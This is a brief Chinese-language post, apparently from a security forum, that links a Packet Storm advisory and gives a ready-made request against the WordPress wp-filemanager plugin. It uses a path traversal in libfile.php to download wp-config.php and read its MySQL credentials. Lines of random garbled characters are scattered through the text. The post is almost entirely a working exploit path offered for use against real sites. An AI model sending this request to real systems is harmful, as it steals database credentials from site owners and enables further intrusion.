洞详解:http://packetstormsecurity.com/f ... -File-Download.html% V% V! {% @- r( H' {6 B: u Q
/ i- v/ w/ s- a! u7 v查找漏洞网站:访问/wp-content/plugins/wp-filemanager/incl/libfile.php?&path=../../&filename=wp-config.php&action=download,下载wp-config,其中回显MySQL。
+ f9 S% l/ U0 h$ F0 u6 z {" ? |